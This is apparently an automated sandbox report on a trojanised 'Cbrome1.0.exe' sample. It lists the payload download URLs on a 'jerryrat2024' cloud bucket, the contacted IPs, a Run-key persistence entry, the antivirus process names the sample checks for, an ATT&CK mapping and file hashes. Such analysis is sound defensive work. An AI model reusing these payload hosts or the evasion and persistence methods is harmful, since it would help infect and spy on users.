Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoW,	5_2_00000210AE4DCDF8
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,free,	5_2_00000210AE4DE600
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: EnumSystemLocalesA,	5_2_00000210AE4DD290
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoW,	5_2_00000210AE4DD0C8
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: EnumSystemLocalesA,	5_2_00000210AE4DD1F8
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: GetLocaleInfoA,	5_2_00007FFD94476D80
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,	6_2_00000205EA7ACC80
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: EnumSystemLocalesA,	6_2_00000205EA7AD1F8
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: EnumSystemLocalesA,	6_2_00000205EA7AD290
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: GetLastError,free,free,GetLocaleInfoW,GetLocaleInfoW,free,GetLocaleInfoW,	6_2_00000205EA7A9FFC
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoW,	6_2_00000205EA7AD0C8
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: GetLocaleInfoW,	6_2_00000205EA7ACD68
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,free,	6_2_00000205EA7AE600
Source: C:\ProgramData\buunn\arphaCrashReport64.exe	Code function: _getptd,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoW,	6_2_00000205EA7ACDF8

Source: C:\Users\user\Desktop\Cbrome1.0.exe

Code function: 0_2_0000023A29E1DD70 GetForegroundWindow,GetWindowTextA,lstrlen,GetLocalTime,wsprintfA,

0_2_0000023A29E1DD70

Source: C:\Users\user\Desktop\Cbrome1.0.exe

Code function: 0_2_0000023A29E13560 lstrcat,GetComputerNameA,GetCurrentProcessId,LoadLibraryA,GetProcAddress,GetUserNameA,CreateToolhelp32Snapshot,lstrlen,_localtime64,wsprintfA,GetModuleFileNameA,

0_2_0000023A29E13560

Source: C:\Users\user\Desktop\Cbrome1.0.exe

Code function: 0_2_0000023A29E274B8 _lock,_get_daylight,_get_daylight,_get_daylight,___lc_codepage_func,free,free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_0000023A29E274B8

Source: C:\Users\user\Desktop\Cbrome1.0.exe

Code function: 0_2_0000023A29E283F4 HeapCreate,GetVersion,HeapSetInformation,

0_2_0000023A29E283F4

Source: C:\Users\user\Desktop\Cbrome1.0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: bdagent.exe
Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: kxetray.exe
Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: 360tray.exe
Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: avgnt.exe
Source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Obfuscated Files or Information	121 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Valid Accounts	1 Valid Accounts	1 DLL Side-Loading	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	121 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Service Execution	12 Windows Service	1 Access Token Manipulation	1 Valid Accounts	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Registry Run Keys / Startup Folder	12 Windows Service	1 Virtualization/Sandbox Evasion	NTDS	24 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Process Injection	1 Access Token Manipulation	LSA Secrets	1 Query Registry	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	Cached Domain Credentials	51 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
http://crl.thawte.com/ThawtePCA.crl0	0%	URL Reputation	safe
http://www.symauth.com/rpa00	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://www.symauth.com/cps0(	0%	URL Reputation	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dllG	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exehttps://jerryrat2024.oss-cn-b	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exe	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll:	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dllmW6432=C:	0%	Avira URL Cloud	safe
https://jerryrat2024.oss-cn-beijing.aliyuncs.com:443/arphaDump64.dll	0%	Avira URL Cloud	safe
http://cs-g2-crl.thawte.com/ThawteCSG2.crl0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
wt3z8.cn	216.224.127.6	true	false		unknown
jerryrat2024.oss-cn-beijing.aliyuncs.com	39.97.203.118	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll	false	Avira URL Cloud: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exe	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://cs-g2-crl.thawte.com/ThawteCSG2.crl0	Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.thawte.com/ThawtePCA.crl0	Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.symauth.com/rpa00	Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exehttps://jerryrat2024.oss-cn-b	Cbrome1.0.exe, 00000000.00000003.2386547563.0000023A29360000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dllG	Cbrome1.0.exe, 00000000.00000003.2385718931.0000023A27B3B000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990180001.0000023A27B3B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.virtualbox.org/	arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	false		unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/	Cbrome1.0.exe, 00000000.00000003.2385718931.0000023A27B3B000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990180001.0000023A27B3B000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3989734243.0000023A27AD4000.00000004.00000020.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000003.2985683981.0000023A27AD3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	Cbrome1.0.exe, 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Cbrome1.0.exe, 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990366207.00000205EA7B8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3990102441.00000205EA4A0000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com:443/arphaDump64.dll	Cbrome1.0.exe, 00000000.00000002.3990079134.0000023A27B0A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dllmW6432=C:	Cbrome1.0.exe, 00000000.00000002.3990510595.0000023A29980000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll:	Cbrome1.0.exe, 00000000.00000002.3990510595.0000023A29980000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
216.224.127.6	wt3z8.cn	United States	64050	BCPL-SGBGPNETGlobalASNSG	false
216.224.127.63	unknown	United States	64050	BCPL-SGBGPNETGlobalASNSG	false
39.97.203.118	jerryrat2024.oss-cn-beijing.aliyuncs.com	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1481713
Start date and time:	2024-07-25 13:22:25 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Cbrome1.0.exe
Detection:	MAL
Classification:	mal52.troj.spyw.evad.winEXE@3/2@5/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 72% Number of executed functions: 68 Number of non-executed functions: 311
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Cbrome1.0.exe

Simulations

Behavior and APIs

Time	Type	Description
07:24:14	API Interceptor	8086x Sleep call for process: Cbrome1.0.exe modified
07:24:47	API Interceptor	11558x Sleep call for process: arphaCrashReport64.exe modified
13:23:45	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run yghvsw C:\ProgramData\buunn\arphaCrashReport64.exe
13:23:53	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run yghvsw C:\ProgramData\buunn\arphaCrashReport64.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
39.97.203.118	Supe.exe	Get hash	malicious	Unknown	Browse
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
jerryrat2024.oss-cn-beijing.aliyuncs.com	7Y18r(111).exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	SgSetup.exe	Get hash	malicious	Unknown	Browse	59.110.190.37
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	59.110.190.37
	SgSetup.exe	Get hash	malicious	Unknown	Browse	59.110.190.37
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	59.110.190.37
	#U7535#U62a5#U4e2d#U6587#U5305&7.exe	Get hash	malicious	Unknown	Browse	59.110.190.37
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	59.110.190.37
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse	59.110.190.37

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	a_rggr7lEU.exe	Get hash	malicious	Unknown	Browse	203.107.1.33
	Setup#U540d#U5f55.exe	Get hash	malicious	Unknown	Browse	39.97.203.76
	supe-07.25.exe	Get hash	malicious	Unknown	Browse	203.107.1.33
	EMlIFaCq.exe	Get hash	malicious	Unknown	Browse	203.107.1.33
	setup-20240725.exe	Get hash	malicious	Unknown	Browse	203.107.1.33
	a_AbLYhSMN.exe	Get hash	malicious	Unknown	Browse	203.107.1.33
	a_crG6S8Fl.exe	Get hash	malicious	Unknown	Browse	203.107.1.33
	Supe.exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	a_rggr7lEU.exe	Get hash	malicious	Unknown	Browse	203.107.1.33
BCPL-SGBGPNETGlobalASNSG	a_rggr7lEU.exe	Get hash	malicious	Unknown	Browse	202.79.172.136
	EMlIFaCq.exe	Get hash	malicious	Unknown	Browse	202.79.172.136
	setup-20240725.exe	Get hash	malicious	Unknown	Browse	216.224.125.211
	a_AbLYhSMN.exe	Get hash	malicious	Unknown	Browse	216.83.53.185
	a_crG6S8Fl.exe	Get hash	malicious	Unknown	Browse	216.83.59.30
	a_rggr7lEU.exe	Get hash	malicious	Unknown	Browse	202.79.172.136
	EMlIFaCq.exe	Get hash	malicious	Unknown	Browse	202.79.172.136
	setup-20240725.exe	Get hash	malicious	Unknown	Browse	216.224.125.211
	a_AbLYhSMN.exe	Get hash	malicious	Unknown	Browse	216.83.53.185
BCPL-SGBGPNETGlobalASNSG	a_rggr7lEU.exe	Get hash	malicious	Unknown	Browse	202.79.172.136
	EMlIFaCq.exe	Get hash	malicious	Unknown	Browse	202.79.172.136
	setup-20240725.exe	Get hash	malicious	Unknown	Browse	216.224.125.211
	a_AbLYhSMN.exe	Get hash	malicious	Unknown	Browse	216.83.53.185
	a_crG6S8Fl.exe	Get hash	malicious	Unknown	Browse	216.83.59.30
	a_rggr7lEU.exe	Get hash	malicious	Unknown	Browse	202.79.172.136
	EMlIFaCq.exe	Get hash	malicious	Unknown	Browse	202.79.172.136
	setup-20240725.exe	Get hash	malicious	Unknown	Browse	216.224.125.211
	a_AbLYhSMN.exe	Get hash	malicious	Unknown	Browse	216.83.53.185

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	a_crG6S8Fl.exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	Supe.exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	LisectAVT_2403002B_458.exe	Get hash	malicious	Unknown	Browse	39.97.203.118
	LisectAVT_2403002B_482.exe	Get hash	malicious	Bdaejec, Raccoon	Browse	39.97.203.118
	LisectAVT_2403002B_56.exe	Get hash	malicious	CobaltStrike	Browse	39.97.203.118
	LisectAVT_2403002B_56.exe	Get hash	malicious	CobaltStrike	Browse	39.97.203.118
	AVISO DE PAGO.xls	Get hash	malicious	Unknown	Browse	39.97.203.118
	LisectAVT_2403002C_119.exe	Get hash	malicious	Bdaejec, Sodinokibi	Browse	39.97.203.118
	Scan copy.xls	Get hash	malicious	Unknown	Browse	39.97.203.118

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\buunn\arphaDump64.dll	7Y18r(111).exe	Get hash	malicious	Unknown	Browse
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse
	SgSetup.exe	Get hash	malicious	Unknown	Browse
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse
C:\ProgramData\buunn\arphaCrashReport64.exe	Supe.exe	Get hash	malicious	Unknown	Browse
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse
	7Y18r(111).exe	Get hash	malicious	Unknown	Browse
	SgSetup.exe	Get hash	malicious	Unknown	Browse
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse
	SgSetup.exe	Get hash	malicious	Unknown	Browse
	MFCApplication3.exe	Get hash	malicious	Unknown	Browse
	#U7535#U62a5#U4e2d#U6587#U5305&7.exe	Get hash	malicious	Unknown	Browse
	#U7535#U62a5#U4e2d#U6587#U5305&7.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\buunn\arphaCrashReport64.exe

Download File

Process:	C:\Users\user\Desktop\Cbrome1.0.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	238384
Entropy (8bit):	6.278635939854228
Encrypted:	false
SSDEEP:	3072:fN9rZ5vuFomptSepjTxUPjfOgwXCtRLDya09M9EvoHmkQ/2Y8L6vVefD:rZ5qomPSeCx7tRNQjSfD
MD5:	8B5D51DF7BBD67AEB51E9B9DEE6BC84A
SHA1:	DD63C3D4ACF0CE27F71CCE44B8950180E48E36FA
SHA-256:	E743E8FAC075A379161E1736388451E0AF0FDE7DA595EA9D15EEB5140E3E8271
SHA-512:	1B4350D51C2107D0AA22EB01D64E1F1AB73C28114045C388BAF9547CC39A902C8A274A24479C7C2599F94C96F8772E438F21A2849316B5BD7F5D47C26A1E483B
Malicious:	true
Joe Sandbox View:	Filename: Supe.exe, Detection: malicious, Browse Filename: 7Y18r(111).exe, Detection: malicious, Browse Filename: 7Y18r(111).exe, Detection: malicious, Browse Filename: SgSetup.exe, Detection: malicious, Browse Filename: MFCApplication3.exe, Detection: malicious, Browse Filename: SgSetup.exe, Detection: malicious, Browse Filename: MFCApplication3.exe, Detection: malicious, Browse Filename: #U7535#U62a5#U4e2d#U6587#U5305&7.exe, Detection: malicious, Browse Filename: #U7535#U62a5#U4e2d#U6587#U5305&7.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........i...:...:...:...;...:...;)..:...;...:...;...:...;...:...;...:...;...:3..;...:...:...:3..;...:3.4:...:..\:...:3..;...:Rich...:........................PE..d......`.........."..........t......$..........@....................................j.....`..........................................................p...-...P.......h..0;......l...P...8.......................(.................... ..@............................text............................... ..`.rdata..F.... ......................@..@.data...L&... ......................@....pdata.......P......................@..@.rsrc....-...p.......2..............@..@.reloc..l............`..............@..B........................................................................................................................................................................................................................

C:\ProgramData\buunn\arphaDump64.dll

Download File

Process:	C:\Users\user\Desktop\Cbrome1.0.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2199488
Entropy (8bit):	7.683305461232812
Encrypted:	false
SSDEEP:	49152:IKfnUHT6pdHDy6kwNvtazNJCF0oCY+AtClkgTePCUWk:xf1pRmWvtkJCF5Fgq6Xk
MD5:	5D165E30CDB59FDCCBD2ACE554EF3DF7
SHA1:	20344ECC0639934EB752C2F28AC2A0E37BA1852E
SHA-256:	7FCD3560EF424424DBD26B8E1BA90CA0F6198AA1D0BDA44F92CB880F4666A1F1
SHA-512:	7EF245B877C5FEB431794BE1E267845AE1E29723BDB5866B02AAEFF589EB2F6232E1A033BFEF7C711E9812939E2C931893B9D5BED862E6F6BD6101262572854A
Malicious:	false
Joe Sandbox View:	Filename: 7Y18r(111).exe, Detection: malicious, Browse Filename: 7Y18r(111).exe, Detection: malicious, Browse Filename: SgSetup.exe, Detection: malicious, Browse Filename: MFCApplication3.exe, Detection: malicious, Browse Filename: MFCApplication3.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........h-)..Cz..Cz..Cz.[.z..Cz.[.z..Cz.[.z..Cz..8z..Cz..Bz..Cz.[.z..Cz.[.z..Cz.[.z..CzRich..Cz................PE..d...#..f.........." .......... .....4.........................................!......{!...@.....................................................(.... ... ..........f!..)....!.....P................................................................................text............................... ..`.rdata..c2.......4..................@..@.data...."..........................@....pdata..............................@..@.rsrc..... .. .... .................@..@.reloc........!......b!.............@..B........................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.544989323407941
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Cbrome1.0.exe
File size:	43'526'144 bytes
MD5:	4e5fc012718e562ed588de4ebac425e7
SHA1:	a7f47a0159f3c212cc79c2c4abea3ea76fe0e366
SHA256:	2229c7887ef2ed9e18ff0d3c1277c490bd04f53e7a71b31d17244d0166aa0b94
SHA512:	9aad4966f671b2db1929f6ed09225ab97c1ca5f34d1c51d0335e758dd742b9b8a199b193a626c0a64a4564eee859d52fb7813b4fafc353c3a174c19b3c52a61a
SSDEEP:	786432:Bu1YXzPhxOK6es46WMJYN3EEy9LFkoT7nZ9kp3/eIq:Bu1ENxN6p7liZxmmofnZ9c/Z
TLSH:	5D97E156F7BA40D1D0BAC0398A52A66BFC713C89C77963D787015B5A9F327E0AE39700
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.C.).-.).-.).-.L...9.-.L.).5.-.L.(...-.L.+.*.-.L.,...-.).,...-.{.).=.-.{... .-.{.(...-...(.".-.....(.-.)...(.-.../.(.-.Rich).-

File Icon


Icon Hash:	9e1f191f6777733a

Static PE Info

General

Entrypoint:	0x14042581d
